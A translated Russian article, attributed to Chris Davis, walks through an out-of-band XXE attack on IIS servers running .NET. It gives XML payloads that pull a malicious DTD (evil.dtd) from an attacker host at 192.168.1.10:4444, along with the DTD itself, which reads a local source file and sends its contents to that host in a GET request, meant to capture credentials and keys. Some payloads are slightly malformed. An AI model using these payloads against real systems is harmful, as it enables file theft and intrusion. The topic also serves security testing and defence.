В этой статье будет продемонстрирована последовательность действий, необходимых для осуществления XXE-атаки против IIS-серверов, использующих фреймворк Microsoft .NET.
Автор: Chris Davis
XXE-атаки (XML External Entity; Внешние XML-сущности) случаются в тех местах, где XML-парсер некорректно обрабатывает входные пользовательские данные, содержащие определения внешних сущностей в doctype внутри полезной нагрузки на базе XML. Внешняя сущность может содержать добавочный код, позволяющий злоумышленнику считать конфиденциальную информацию в системе или выполнить потенциально намного более вредоносные действия.
В этой статье будет продемонстрирована последовательность действий, необходимых для осуществления XXE-атаки против IIS-серверов, использующих фреймворк Microsoft .NET. Однако мы не будем особо углубляться в фундаментальные основы этих технологий. Если вы хотите больше подробностей, обращайтесь к ссылкам в конце статьи.
Что такое XXE
Ниже показан пример объявленного внешнего параметра с именем extentity, который использует директиву SYSTEM для загрузки содержимого URI. Затем вызывается инструкция %extentity; для инициации запроса HTTP GET к назначенному URI.
<?xml version="1.0" encoding="utf-8"?-->
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil">
%extentity;
]
>
Та же самая директива может быть использована для доступа к локальному файлу в системе:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
[<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml">
%extentity;
]
>
Однако в XML предусмотрены ограничения, которые не позволят использовать пример выше. Вместо загрузки файла c:/inetpub/wwwroot/Views/secret_source.cshtml возникнет ошибка.
С другой стороны, мы можем встроить сущность внутри сущности внутри нашей полезной XML-нагрузки. Например:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity "<!ENTITY stolendata SYSTEM ?file:///c:/inetpub/wwwroot/Views/secret_source.cshtml'>">
%extentity;
]
<
К сожалению, этот пример тоже нерабочий, поскольку в XML запрещено декларировать внешние сущности внутри значений.
Мы не можем ссылаться на файл в системе, но можем заставить парсер получить ресурс через URI. Для решения нашей задачи можно попробовать загрузить DTD-файл (Data Type Definition; определение типа данных). DTD-файлы загружаются прежде, чем парсится XML-файл, и определяют, как правильно интерпретировать XML-файл. Попробуем внедрить запрещенные полезные нагрузки с сущностями внутри DTD-файла для обхода ограничений.
Например, мы можем загрузить XML-файл, показанный ниже, в парсер, который указывает на DTD-файл. При вызове инструкции %
extentity
;
, происходит загрузка содержимого DTD-файла (evil.dtd) через URI:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd">
%extentity;
]
>
Теперь нам нужно на этом IP-адресе организовать веб-сервер с открытым портом 4444, где в корневой директории находится файл evil.dtd. Содержимое DTD-файла показано ниже:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://192.168.1.10:4444/?%stolendata;'>">
В первой строке указывается версия XML и кодировка. Во второй строке указан файл с конфиденциальными данными, который мы хотим прочитать. В третьей строке происходит создание новой сущности и связывание файла из переменной stolendata с URI. По адресу в URI расположен наш веб-сервер с открытым портом 4444. При помощи этого трюка мы обходим ограничения в XML.
Рисунок 1: Схема использования DTD-файла
На рисунке выше показаны первые несколько шагов процесса использования полезной нагрузки:
1. Мы загружаем на IIS-сервер первоначальную полезную XML-нагрузку, которая указывает системе, что нужно загрузить DTD-файл с нашего удаленного веб-сервера.
2. XML-парсер доходит до указанного URI для получения содержимого DTD-файла.
3. XML-парсер загружает содержимое DTD-файла перед обработкой основной полезной нагрузки.
На данный момент нам удалось успешно обойти ограничения. Однако теперь нужно вызвать сущности, объявленные в DTD-файле, чтобы получить и отправить на веб-сервер содержимое конфиденциального файла secret
_
source
.
cshtml
.
Чтобы решить эту задачу, нужно вставить %
inception
;
и %
sendit
;
после %
extentity
;
в первоначальном XML-файле перед отправкой полезной нагрузки. Теперь наша первоначальная полезная XML-нагрузка должна выглядеть так:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd">
%extentity;
%inception;
%sendit;
]
<
Рисунок 2: Полная схема реализации XXE-атаки
Теперь XML-парсер отошлет содержимое целевого файла (secret_source.cshtml), встроенного в URI внутри GET-запроса, на веб-сервер или слушатель Netcat на порту 4444. Исходные файлы, содержащие конфиденциальную информацию: пароли от базы данных или ключи шифрования, будут получены нами и впоследствии могут использоваться для получения более ценных сведений.
Примечание: Все же ограничения в этом методе существуют. XML-парсер выдаст ошибку, если содержимое файла превысит 2000 байт из-за ограничений на длину URI.
Полезные ссылки:
OWASP: XML External Entity (XXE) Processing
Microsoft: ENTITY (XML) .NET Framework